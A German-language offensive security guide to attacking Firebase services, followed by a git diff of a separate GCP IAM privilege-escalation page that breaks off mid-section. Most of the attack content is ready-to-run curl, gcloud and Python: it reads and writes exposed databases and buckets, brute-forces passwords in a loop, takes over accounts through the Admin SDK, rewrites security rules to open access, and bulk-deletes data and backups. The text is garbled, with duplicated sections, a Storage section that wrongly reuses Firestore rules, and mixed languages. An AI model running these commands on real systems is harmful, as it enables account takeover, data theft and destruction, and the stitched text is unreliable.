Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um diesen Angriff durchzuführen. Es reicht aus, dass eine verwundbare Konfiguration in den Cloud Firestore security rules vorhanden ist, bei der die Regeln read or write access ohne Authentifizierung oder mit unzureichender Validierung erlauben. Ein Beispiel für eine fehlkonfigurierte Regel, die vollen Zugriff gewährt, ist:
```bash
service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}
```
Diese Regel erlaubt jedem, alle Dokumente ohne Einschränkungen zu lesen und zu schreiben. Firestore-Regeln sind granular und gelten pro Collection und Dokument; ein Fehler in einer bestimmten Regel kann daher nur bestimmte Collections offenlegen.
Der Angreifer muss die Firebase Project ID ermitteln, die sich durch mobile app reverse engineering, die Analyse von Konfigurationsdateien wie google-services.json oder GoogleService-Info.plist, inspecting the source code of web applications oder analyzing network traffic finden lässt, um Requests an firestore.googleapis.com zu identifizieren.
Die Firestore REST API verwendet folgendes Format:
```bash
https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
Wenn die Regeln nicht authentifizierten Lesezugriff erlauben, kann der Angreifer Collections und Dokumente lesen. Zuerst versucht der Angreifer, auf eine bestimmte Collection zuzugreifen:
```bash
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>
```
Wenn die Antwort JSON-Dokumente anstelle einer Berechtigungsfehlermeldung enthält, ist die Collection exponiert. Der Angreifer kann alle zugänglichen Collections auflisten, indem er gängige Namen ausprobiert oder die Struktur der Anwendung analysiert. Um auf ein bestimmtes Dokument zuzugreifen:
```bash
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
Wenn die Regeln unauthenticated write access erlauben oder eine unzureichende Validierung aufweisen, kann der Angreifer neue Dokumente erstellen:
```bash
curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"name": {"stringValue": "Test"},
"email": {"stringValue": "test@example.com"}
}
}'
```
Um ein vorhandenes Dokument zu ändern, muss PATCH verwendet werden:
```bash
curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"role": {"stringValue": "admin"}
}
}'
```
Um ein Dokument zu löschen und Denial of Service zu verursachen:
```bash
curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
### Offenlegung von Dateien in Firebase Storage
Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um diesen Angriff durchzuführen. Es reicht, dass eine verwundbare Konfiguration in den Firebase Storage-Sicherheitsregeln vorliegt, bei der die Regeln Lese- oder Schreibzugriff ohne Authentifizierung oder mit unzureichender Validierung erlauben. Die Storage-Regeln steuern Lese- und Schreibberechtigungen unabhängig voneinander, sodass ein Fehler in einer Regel nur Lesezugriff, nur Schreibzugriff oder beides freigeben kann. Ein Beispiel für eine fehlkonfigurierte Regel, die vollen Zugriff gewährt, ist:
```bash
service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}
```
Diese Regel erlaubt Lese- und Schreibzugriff auf alle Dokumente ohne jegliche Einschränkungen. Firestore-Regeln sind granular und werden pro collection und pro document angewendet, sodass ein Fehler in einer bestimmten Regel möglicherweise nur bestimmte collections exponiert. The attacker must identify the Firebase Project ID, which can be found through mobile application reverse engineering, analysis of configuration files such as google-services.json or GoogleService-Info.plist, inspection of web application source code, or network traffic analysis to identify requests to firestore.googleapis.com.
Die Firestore REST API verwendet das Format: `https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.`
Wenn die Regeln nicht authentifizierten Lesezugriff erlauben, kann der attacker collections und documents lesen. Zuerst versucht er, auf eine bestimmte collection zuzugreifen.
```bash
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"
```
Wenn die Antwort die Liste der Dateien anstelle eines Berechtigungsfehlers enthält, ist die Datei zugänglich. Der attacker kann den Inhalt der Dateien anzeigen, indem er deren Pfad angibt:
```bash
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"
```
Wenn die Regeln unauthentifizierten Schreibzugriff erlauben oder eine unzureichende Validierung aufweisen, kann der Angreifer bösartige Dateien hochladen. Um eine Datei über die REST API hochzuladen:
```bash
curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
-H "Content-Type: <content-type>" \
--data-binary @<local-file>
```
Der Angreifer kann code shells, malware payloads oder große Dateien hochladen, um einen denial of service zu verursachen. Wenn die Anwendung hochgeladene Dateien verarbeitet oder ausführt, kann der Angreifer remote code execution erreichen. Um Dateien zu löschen und einen denial of service zu verursachen:
```bash
curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"
```
### Aufruf öffentlicher Firebase Cloud Functions
Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um dieses Problem auszunutzen; es reicht, dass eine Cloud Function öffentlich über HTTP zugänglich ist, ohne Authentifizierung.
Eine Funktion ist verwundbar, wenn sie unsicher konfiguriert ist:
- Sie verwendet `functions.https.onRequest`, das keine Authentifizierung erzwingt (im Gegensatz zu onCall-Funktionen).
- Der Code der Funktion validiert die Benutzer-Authentifizierung nicht (z. B. keine Prüfungen auf `request.auth` oder `context.auth`).
- Die Funktion ist in IAM öffentlich zugänglich, d. h. `allUsers` hat die Rolle `roles/cloudfunctions.invoker`. Dies ist das Standardverhalten für HTTP-Funktionen, sofern der Entwickler den Zugriff nicht einschränkt.
Firebase HTTP Cloud Functions sind über URLs wie erreichbar:
- https://<region>-<project-id>.cloudfunctions.net/<function-name>
- https://<project-id>.web.app/<function-name> (wenn in Firebase Hosting integriert)
Ein Angreifer kann diese URLs durch Quellcodeanalyse, Netzwerkverkehrsinspektion, Enumeration-Tools oder Reverse Engineering von mobilen Apps entdecken.
Wenn die Funktion öffentlich exponiert und nicht authentifiziert ist, kann der Angreifer sie direkt ohne Anmeldedaten aufrufen.
```bash
# Invoke public HTTP function with GET
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
# Invoke public HTTP function with POST and data
curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
-H "Content-Type: application/json" \
-d '{"param1": "value1", "param2": "value2"}'
```
Wenn die Funktion Eingaben nicht korrekt validiert, kann der Angreifer weitere Angriffe versuchen, wie z. B. code injection oder command injection.
### Brute-force attack against Firebase Authentication with a weak password policy
Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um diesen Angriff durchzuführen. Es reicht, dass der Firebase API Key in mobilen oder Webanwendungen offengelegt ist und die Passwortpolicy nicht strenger als die Standardeinstellungen konfiguriert wurde.
Der Angreifer muss den Firebase API Key identifizieren, den man durch mobile app reverse engineering, Analyse von Konfigurationsdateien wie google-services.json oder GoogleService-Info.plist, Inspektion des Quellcodes von Webanwendungen (z. B. in bootstrap.js) oder Analyse des Netzwerkverkehrs finden kann.
Die REST-API von Firebase Authentication verwendet den Endpunkt:
`https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>`
um sich mit EMail und Passwort zu authentifizieren.
Wenn Email Enumeration Protection deaktiviert ist, können API-Fehlerantworten offenbaren, ob eine EMail im System existiert (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), was es Angreifern ermöglicht, users zu enumeraten, bevor sie Passwortraten versuchen. Wenn diese Protection aktiviert ist, liefert die API für nicht existente EMails und falsche Passwörter dieselbe Fehlermeldung und verhindert so user enumeration.
Es ist wichtig zu beachten, dass Firebase Authentication Rate Limiting durchsetzt, das Anfragen blockieren kann, wenn in kurzer Zeit zu viele Authentifizierungsversuche stattfinden. Deshalb müsste ein Angreifer zwischen den Versuchen Verzögerungen einbauen, um nicht rate-limited zu werden.
Der Angreifer identifiziert den API Key und führt Authentifizierungsversuche mit mehreren Passwörtern gegen bekannte Accounts durch. Wenn Email Enumeration Protection deaktiviert ist, kann der Angreifer existierende Benutzer durch Analyse der Fehlerantworten enumeraten:
```bash
# Attempt authentication with a known email and an incorrect password
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d '{
"email": "usuario@example.com",
"password": "password",
"returnSecureToken": true
}'
```
Wenn die Antwort EMAIL_NOT_FOUND enthält, existiert die E-Mail nicht im System. Wenn sie INVALID_PASSWORD enthält, existiert die E-Mail, das Passwort ist jedoch falsch, was bestätigt, dass der Benutzer registriert ist. Sobald ein gültiger Benutzer identifiziert wurde, kann der Angreifer brute-force-Versuche durchführen. Es ist wichtig, Pausen zwischen den Versuchen einzulegen, um die RateLimitingMechanismen von Firebase Authentication zu vermeiden:
```bash
counter=1
for password in $(cat wordlist.txt); do
echo "Intento $counter: probando contraseña '$password'"
response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")
if echo "$response" | grep -q "idToken"; then
echo "Contraseña encontrada: $password (intento $counter)"
break
fi
# Stop for the rate limiting
sleep 1
counter=$((counter + 1))
done
```
Mit der standardmäßigen Passwortpolitik (mindestens 6 Zeichen, keine Komplexitätsanforderungen) kann der Angreifer alle möglichen Kombinationen von 6-stelligen Passwörtern ausprobieren, was einen relativ kleinen Suchraum im Vergleich zu strengeren Passwortregeln darstellt.
### User management in Firebase Authentication
Der Angreifer benötigt bestimmte Firebase Authentication-Berechtigungen, um diesen Angriff durchzuführen. Die erforderlichen Berechtigungen sind:
- `firebaseauth.users.create` to create users
- `firebaseauth.users.update` to modify existing users
- `firebaseauth.users.delete` to delete users
- `firebaseauth.users.get` to retrieve user information
- `firebaseauth.users.sendEmail` to send emails to users
- `firebaseauth.users.createSession` to create user sessions
Diese Berechtigungen sind in der Rolle `roles/firebaseauth.admin` enthalten, die vollen Lese-/Schreibzugriff auf Firebase Authentication-Ressourcen gewährt. Sie sind auch in höherstufigen Rollen enthalten, wie roles/firebase.developAdmin (which includes all firebaseauth.* permissions) und roles/firebase.admin (full access to all Firebase services).
Um das Firebase Admin SDK zu verwenden, benötigt der Angreifer Zugriff auf Service-Account-Anmeldeinformationen (JSON-Datei), die auf kompromittierten Systemen, in öffentlich zugänglichen Code-Repositories, auf kompromittierten CI/CD-Systemen oder durch die Kompromittierung von Entwicklerkonten, die Zugriff auf diese Anmeldeinformationen haben, zu finden sein könnten.
Der erste Schritt besteht darin, das Firebase Admin SDK mit Service-Account-Anmeldeinformationen zu konfigurieren.
```bash
import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)
```
Um einen bösartigen Benutzer mit der E-Mail eines Opfers zu erstellen, würde der Angreifer versuchen, das Firebase Admin SDK zu verwenden, um ein neues Konto unter dieser E-Mail-Adresse zu erstellen.
```bash
user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')
```
Um einen bestehenden Benutzer zu ändern, würde der Angreifer Felder wie die EMail-Adresse, den Verifizierungsstatus oder die Information, ob das Konto deaktiviert ist, aktualisieren.
```bash
user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')
```
Um ein Benutzerkonto zu löschen und einen denial of service zu verursachen, würde der Angreifer eine Anfrage stellen, um den Benutzer vollständig zu entfernen.
```bash
auth.delete_user(uid)
print('Usuario eliminado exitosamente')
```
Der Angreifer kann auch Informationen über bestehende Benutzer abrufen, indem er deren UID oder E-Mail-Adresse abfragt.
```bash
user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')
```
Außerdem könnte der Angreifer Verifizierungs- oder Passwort-Zurücksetzungslinks generieren, um das Passwort eines Benutzers zu ändern und Zugriff auf dessen Account zu erhalten.
```bash
link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')
```
### Benutzerverwaltung in Firebase Authentication
Ein Angreifer benötigt bestimmte Firebase Authentication-Berechtigungen, um diesen Angriff durchzuführen. Die benötigten Berechtigungen sind:
- `firebaseauth.users.create` to create users
- `firebaseauth.users.update` to modify existing users
- `firebaseauth.users.delete` to delete users
- `firebaseauth.users.get` to obtain user information
- `firebaseauth.users.sendEmail` to send emails to users
- `firebaseauth.users.createSession` to create user sessions
Diese Berechtigungen sind in der Rolle `roles/firebaseauth.admin` enthalten, die vollen Lese-/Schreibzugriff auf Firebase Authentication-Ressourcen gewährt. Sie sind auch Teil höherstufiger Rollen wie `roles/firebase.developAdmin` (die alle firebaseauth.*-Berechtigungen enthält) und `roles/firebase.admin` (voller Zugriff auf alle Firebase-Dienste).
Um das Firebase Admin SDK zu verwenden, benötigt der Angreifer Zugriff auf Servicekonto-Anmeldeinformationen (eine JSON-Datei), die von kompromittierten Systemen, öffentlich zugänglichen Code-Repositories, kompromittierten CI/CD-Umgebungen oder durch die Kompromittierung von Entwicklerkonten, die Zugriff auf diese Anmeldeinformationen haben, stammen könnten.
Der erste Schritt ist, das Firebase Admin SDK mit Servicekonto-Anmeldeinformationen zu konfigurieren.
```bash
import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)
```
Um einen malicious user mit der E-Mail des Opfers zu erstellen, würde der attacker versuchen, ein neues user account mit dieser E-Mail anzulegen und sein eigenes password sowie profile information zu vergeben.
```bash
user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')
```
Um einen bestehenden Benutzer zu ändern, würde der attacker Felder wie die E-Mail-Adresse, den Verifizierungsstatus oder die Frage, ob das Konto deaktiviert ist, anpassen.
```bash
user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')
```
Um ein Benutzerkonto zu löschen—wodurch effektiv ein denial of service verursacht würde—würde der Angreifer eine Anfrage senden, um diesen Benutzer dauerhaft zu entfernen.
```bash
auth.delete_user(uid)
print('Usuario eliminado exitosamente')
```
Der Angreifer konnte auch Informationen über vorhandene Benutzer abrufen, wie deren UID oder E-Mail, indem er Benutzerdetails entweder per UID oder per E-Mail-Adresse anforderte.
```bash
user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')
```
Außerdem könnte der Angreifer Verifizierungs- oder Passwort-Zurücksetzungslinks generieren, wodurch er das Passwort eines Benutzers ändern und die Kontrolle über dessen Konto übernehmen könnte.
```bash
link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')
```
### Änderung der Sicherheitsregeln in Firebase-Diensten
Der Angreifer benötigt je nach Dienst spezifische Berechtigungen, um Sicherheitsregeln zu ändern. Für Cloud Firestore und Firebase Cloud Storage sind die erforderlichen Berechtigungen `firebaserules.rulesets.create` zum Erstellen von Rulesets und `firebaserules.releases.create` zum Bereitstellen von Releases. Diese Berechtigungen sind in der Rolle `roles/firebaserules.admin` enthalten oder in höherstufigen Rollen wie `roles/firebase.developAdmin` und `roles/firebase.admin`. Für Firebase Realtime Database ist die erforderliche Berechtigung `firebasedatabase.instances.update`.
Der Angreifer muss die Firebase REST API verwenden, um die Sicherheitsregeln zu ändern. Zuerst müsste der Angreifer ein access token mit Service-Account-Zugangsdaten erhalten.
Um das Token zu erhalten:
```bash
gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
ACCESS_TOKEN=$(gcloud auth print-access-token)
```
Um die Firebase Realtime Database-Regeln zu ändern:
```bash
curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"rules": {
".read": true,
".write": true
}
}'
```
Um Cloud Firestore rules zu modifizieren, muss der attacker ein ruleset erstellen und es dann deployen:
```bash
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "firestore.rules",
"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n match /databases/{database}/documents {\n match /{document=**} {\n allow read, write: if true;\n }\n }\n}"
}]
}
}'
```
Der vorherige Befehl gibt einen ruleset-Namen im Format projects/<project-id>/rulesets/<ruleset-id> zurück. Um die neue Version bereitzustellen, muss das Release mit einer PATCH-Anfrage aktualisiert werden:
```bash
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/cloud.firestore",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'
```
Um die Firebase Cloud Storage-Regeln zu ändern:
```bash
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "storage.rules",
"content": "service firebase.storage {\n match /b/{bucket}/o {\n match /{allPaths=**} {\n allow read, write: if true;\n }\n }\n}"
}]
}
}'
```
Der vorherige Befehl liefert einen ruleset-Namen im Format projects/<project-id>/rulesets/<ruleset-id>. Um die neue Version bereitzustellen, muss das Release mit einer PATCH request aktualisiert werden:
```bash
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'
```
### Data exfiltration and manipulation in Cloud Firestore
Cloud Firestore verwendet dieselbe Infrastruktur und dasselbe Berechtigungssystem wie Cloud Datastore, sodass Datastore-IAM-Berechtigungen direkt für Firestore gelten. Um TTL-Richtlinien zu manipulieren, wird die `datastore.indexes.update` Berechtigung benötigt. Um Daten zu exportieren, wird die `datastore.databases.export` Berechtigung benötigt. Um Daten zu importieren, wird die datastore.databases.import permission benötigt. Um eine Massenlöschung von Daten durchzuführen, wird die `datastore.databases.bulkDelete` Berechtigung benötigt.
Für Backup- und Restore-Operationen werden spezifische Berechtigungen benötigt:
- `datastore.backups.get` und `datastore.backups.list`, um verfügbare Backups aufzulisten und Details abzurufen
- `datastore.backups.delete`, um Backups zu löschen
- `datastore.backups.restoreDatabase`, um eine Datenbank aus einem Backup wiederherzustellen
- `datastore.backupSchedules.create` und `datastore.backupSchedules.delete`, um Backup-Zeitpläne zu verwalten
Wenn eine TTL-Richtlinie erstellt wird, wird eine bestimmte Eigenschaft ausgewählt, um Entitäten zu identifizieren, die für die Löschung in Frage kommen. Diese TTL-Eigenschaft muss vom Typ Datum und Uhrzeit sein. Der Angreifer kann eine bereits vorhandene Eigenschaft wählen oder eine Eigenschaft festlegen, die er später hinzufügen möchte. Ist der Wert des Feldes ein Datum in der Vergangenheit, wird das Dokument sofort löschbar. Der Angreifer kann die gcloud CLI verwenden, um TTL-Richtlinien zu manipulieren.
```bash
# Enable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--enable-ttl
# Disable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--disable-ttl
```
Um Daten zu exportieren und zu exfiltrate, könnte der Angreifer die gcloud CLI verwenden.
```bash
gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'
```
Um bösartige Daten zu importieren:
```bash
gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'
```
Um massenhaft Daten zu löschen und einen Denial of Service zu verursachen, könnte der Angreifer das gcloud Firestore bulk-delete tool verwenden, um ganze Collections zu entfernen.
```bash
gcloud firestore bulk-delete \
--collection-ids=users,posts,messages \
--database='(default)' \
--project=<project-id>
```
Für Backup- und Wiederherstellungsoperationen könnte der Angreifer geplante Backups erstellen, um den aktuellen Zustand der Datenbank zu erfassen, vorhandene Backups aufzulisten, von einem Backup wiederherzustellen, um jüngste Änderungen zu überschreiben, Backups zu löschen, um dauerhaften Datenverlust zu verursachen, und geplante Backups zu entfernen.
Um einen täglichen Backup-Zeitplan zu erstellen, der sofort ein Backup erzeugt:
```bash
gcloud firestore backups schedules create \
--database='(default)' \
--recurrence=daily \
--retention=14w \
--project=<project-id>
```
Um ein bestimmtes Backup wiederherzustellen, könnte der Angreifer eine neue Datenbank erstellen, die die im Backup enthaltenen Daten verwendet. Der Restore-Vorgang schreibt die Daten des Backups in eine neue Datenbank, was bedeutet, dass eine bereits vorhandene DATABASE_ID nicht verwendet werden kann.
```bash
gcloud firestore databases restore \
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
--destination-database='<new-database-id>' \
--project=<project-id>
```
Um ein Backup zu löschen und dauerhaften Datenverlust zu verursachen:
```bash
gcloud firestore backups delete \
--backup=<backup-id> \
--project=<project-id>
```
### Diebstahl und Missbrauch von Firebase CLI-Anmeldeinformationen
Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um diesen Angriff durchzuführen, er benötigt jedoch Zugriff auf das lokale System des Entwicklers oder auf die Firebase CLI-Anmeldeinformationsdatei. Diese Anmeldeinformationen werden in einer JSON-Datei gespeichert, die sich befindet unter:
- Linux/macOS: ~/.config/configstore/firebase-tools.json
- Windows: C:\Users\[User]\.config\configstore\firebase-tools.json
Diese Datei enthält Authentifizierungs-Tokens, einschließlich refresh_token und access_token, die es dem Angreifer ermöglichen, sich als der Benutzer zu authentifizieren, der firebase login ursprünglich ausgeführt hat.
Der Angreifer verschafft sich Zugriff auf die Firebase CLI-Anmeldeinformationsdatei. Er kann dann die gesamte Datei auf sein eigenes System kopieren, und die Firebase CLI wird automatisch die Anmeldeinformationen aus dem Standardort verwenden. Danach kann der Angreifer alle Firebase-Projekte einsehen, auf die dieser Benutzer Zugriff hat.
```bash
firebase projects:list
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,54 +12,51 @@ Weitere Informationen zu IAM finden Sie in:
### `iam.roles.update` (`iam.roles.get`)
Ein Angreifer mit den genannten Berechtigungen kann eine Ihnen zugewiesene Rolle aktualisieren und Ihnen zusätzliche Berechtigungen für andere Ressourcen geben, z. B.:
<details><summary>IAM-Rolle aktualisieren, um Berechtigungen hinzuzufügen</summary>
Ein attacker mit den genannten Berechtigungen kann eine Rolle, die Ihnen zugewiesen ist, aktualisieren und Ihnen zusätzliche Berechtigungen für andere Ressourcen wie:
```bash
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
```
</details>
Du findest ein script, um die **creation, exploit and cleaning of a vuln environment here** zu automatisieren und ein python script, um dieses Privileg auszunutzen [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Für mehr Informationen siehe die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Du findest ein Script, um die **Erstellung, exploit und Bereinigung einer vuln-Umgebung hier** zu automatisieren und ein python script, um dieses Privileg auszunutzen [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Für weitere Informationen siehe die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
```bash
gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>
```
### `iam.roles.create` & `iam.serviceAccounts.setIamPolicy`
Die iam.roles.create-Berechtigung erlaubt die Erstellung benutzerdefinierter Rollen in einem Projekt oder einer Organisation. In den Händen eines Angreifers ist das gefährlich, da es ihm ermöglicht, neue Berechtigungssätze zu definieren, die später Entitäten zugewiesen werden können (zum Beispiel mithilfe der iam.serviceAccounts.setIamPolicy-Berechtigung), mit dem Ziel der privilege escalation.
```bash
gcloud iam roles create <ROLE_ID> \
--project=<PROJECT_ID> \
--title="<Title>" \
--description="<Description>" \
--permissions="permission1,permission2,permission3"
```
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
Ein Angreifer mit den genannten Berechtigungen kann ein **access token anfordern, das zu einem Service Account gehört**, wodurch es möglich ist, ein access token eines Service Accounts mit mehr Berechtigungen als unserem anzufordern.
<details><summary>Service Account impersonieren, um ein access token zu erhalten</summary>
Ein Angreifer mit den genannten Berechtigungen kann **ein access token anfordern, das zu einem Service Account gehört**, daher ist es möglich, ein access token eines Service Account anzufordern, das mehr Berechtigungen hat als unseres.
```bash
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token
```
</details>
Sie finden ein Skript, das die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) automatisiert, und ein Python-Skript, um dieses Privileg [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py) auszunutzen. Für mehr Informationen siehe die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Du findest ein Skript, um die [**Erstellung, exploit und Bereinigung einer verwundbaren Umgebung hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) zu automatisieren und ein Python-Skript, um dieses Privileg [**hier**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py) auszunutzen. Für weitere Informationen siehe die [**Originalforschung**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccountKeys.create`
Ein Angreifer mit den genannten Berechtigungen kann **create a user-managed key for a Service Account**, was es uns ermöglicht, auf GCP als dieser Service Account zuzugreifen.
<details><summary>Service Account key erstellen und authentifizieren</summary>
Ein Angreifer mit den genannten Berechtigungen kann **einen vom Benutzer verwalteten Schlüssel für ein Service Account erstellen**, wodurch wir uns als dieses Service Account bei GCP anmelden können.
```bash
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
gcloud auth activate-service-account --key-file=sa_cred.json
```
</details>
Du findest ein Script, um die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) zu automatisieren, und ein Python-Script, um dieses Privileg auszunutzen, [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Für mehr Informationen siehe die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Sie können ein Script finden, um die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) zu automatisieren und ein Python-Script, um dieses Privileg auszunutzen [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Für mehr Informationen siehe die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Beachte, dass **`iam.serviceAccountKeys.update` nicht funktioniert, um den Key** eines Service Accounts zu ändern, weil dafür die Berechtigung `iam.serviceAccountKeys.create` ebenfalls benötigt wird.
Beachte, dass **`iam.serviceAccountKeys.update` nicht funktioniert, um den Schlüssel eines SA zu ändern**, da dafür die Berechtigung `iam.serviceAccountKeys.create` ebenfalls benötigt wird.
### `iam.serviceAccounts.implicitDelegation`
Wenn Sie die Berechtigung **`iam.serviceAccounts.implicitDelegation`** auf einem Service Account haben, der die Berechtigung **`iam.serviceAccounts.getAccessToken`** auf einem dritten Service Account besitzt, können Sie implicitDelegation verwenden, um **ein Token für diesen dritten Service Account zu erstellen**. Hier ist ein Diagramm zur Veranschaulichung.
Wenn du die Berechtigung **`iam.serviceAccounts.implicitDelegation`** auf einem Service Account hast, der die Berechtigung **`iam.serviceAccounts.getAccessToken`** auf einem dritten Service Account besitzt, kannst du implicitDelegation verwenden, um **einen Token für diesen dritten Service Account zu erstellen**. Hier ist ein Diagramm zur Veranschaulichung.
![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png)
Beachte, dass laut der [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts) die Delegation von `gcloud` nur funktioniert, um ein Token mit der Methode [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) zu erzeugen. Hier wird gezeigt, wie man ein Token direkt über die API erhält:
<details><summary>Zugriffstoken mit Delegation über die API erzeugen</summary>
